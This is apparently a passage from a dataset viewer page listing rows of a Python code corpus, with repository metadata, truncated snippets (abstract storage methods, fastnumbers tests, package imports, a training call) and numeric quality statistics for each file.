async def upsert(self, entity, states):
pass
@abstractmethod
async def get(self, entity,... | 20.428571 | 69 | 0.657343 | 50 | 429 | 5.64 | 0.66 | 0.202128 | 0.234043 | 0.184397 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.272727 | 429 | 20 | 70 | 21.45 | 0.903846 | 0.223776 | 0 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.272727 | 0.090909 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
b6c54f9b391d43a0beb15b57acbbbcdbbe64e098 | 24,956 | py | Python | tests/test_fastnumbers_examples.py | pterjan/fastnumbers | c2511e7c51dd131e05d6c434dc0bd59d8e6b8919 | [
"MIT"
] | null | null | null | tests/test_fastnumbers_examples.py | pterjan/fastnumbers | c2511e7c51dd131e05d6c434dc0bd59d8e6b8919 | [
"MIT"
] | null | null | null | tests/test_fastnumbers_examples.py | pterjan/fastnumbers | c2511e7c51dd131e05d6c434dc0bd59d8e6b8919 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Find the build location and add that to the path
import math
import sys
from typing import Callable, Iterator, List, cast
import pytest
from pytest import raises
import fastnumbers
# Each conversion test should test the following
# 1. float number
# 2. signed float string
# 3. float string ... | 42.442177 | 87 | 0.692098 | 3,276 | 24,956 | 5.175519 | 0.05525 | 0.251666 | 0.165969 | 0.055205 | 0.869773 | 0.815158 | 0.711472 | 0.592863 | 0.440755 | 0.392804 | 0 | 0.095696 | 0.183483 | 24,956 | 587 | 88 | 42.51448 | 0.734406 | 0.178594 | 0 | 0.050532 | 0 | 0 | 0.097645 | 0.002266 | 0 | 0 | 0 | 0 | 0.867021 | 1 | 0.029255 | false | 0 | 0.015957 | 0 | 0.045213 | 0.021277 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
b6c5e3bf2546d06a484a2ff43e4fbde46f13e4da | 162 | py | Python | fltk/datasets/distributed/__init__.py | tudelft-eemcs-dml/fltk-testbed-gr-5 | 72afa24a37cd1f8f5f49665c83ccbd730d76ad21 | [
"BSD-2-Clause"
] | null | null | null | fltk/datasets/distributed/__init__.py | tudelft-eemcs-dml/fltk-testbed-gr-5 | 72afa24a37cd1f8f5f49665c83ccbd730d76ad21 | [
"BSD-2-Clause"
] | 2 | 2021-05-11T12:48:14.000Z | 2021-05-11T12:49:24.000Z | fltk/datasets/distributed/__init__.py | tudelft-eemcs-dml/fltk-testbed-gr-5 | 72afa24a37cd1f8f5f49665c83ccbd730d76ad21 | [
"BSD-2-Clause"
] | 1 | 2021-04-26T12:51:33.000Z | 2021-04-26T12:51:33.000Z | from .dataset import DistDataset
from .cifar10 import DistCIFAR10Dataset
# from .cifar100 import CIFAR100Dataset
# from .fashion_mnist import FashionMNISTDataset
| 32.4 | 48 | 0.851852 | 17 | 162 | 8.058824 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069444 | 0.111111 | 162 | 4 | 49 | 40.5 | 0.881944 | 0.518519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
b6e27eb7794a7b1be339bb0300d62308ada1b742 | 36 | py | Python | WordGuesser/__init__.py | sourcery-ai-bot/word-guesser | 9a37a301138ee505e36eba2d0952c14c97d9a5e6 | [
"MIT"
] | 2 | 2021-04-08T21:05:43.000Z | 2021-04-09T21:42:07.000Z | WordGuesser/__init__.py | lmontes/word-guesser | 7acf2574974079447d380623ce6ba8a3b89d2093 | [
"MIT"
] | 1 | 2021-03-02T16:44:59.000Z | 2021-03-02T16:44:59.000Z | WordGuesser/__init__.py | sourcery-ai-bot/word-guesser | 9a37a301138ee505e36eba2d0952c14c97d9a5e6 | [
"MIT"
] | 2 | 2021-03-02T12:53:21.000Z | 2021-03-03T11:46:06.000Z | from .WordGuesser import WordGuesser | 36 | 36 | 0.888889 | 4 | 36 | 8 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 36 | 1 | 36 | 36 | 0.969697 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
b6e8f4d1ec7dccdbd86b3f063f4190a734fd6a85 | 59 | py | Python | model/resnext/train.py | wan-h/JD-AI-Fashion-Challenge | 817f693672f418745e3a4c89a0417a3165b08130 | [
"MIT"
] | 3 | 2018-05-06T15:15:21.000Z | 2018-05-13T12:31:42.000Z | model/resnext/train.py | wan-h/JD-AI-Fashion-Challenge | 817f693672f418745e3a4c89a0417a3165b08130 | [
"MIT"
] | null | null | null | model/resnext/train.py | wan-h/JD-AI-Fashion-Challenge | 817f693672f418745e3a4c89a0417a3165b08130 | [
"MIT"
] | null | null | null | from model.resnext import model1_val4
model1_val4.train()
| 14.75 | 37 | 0.830508 | 9 | 59 | 5.222222 | 0.777778 | 0.425532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075472 | 0.101695 | 59 | 3 | 38 | 19.666667 | 0.811321 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.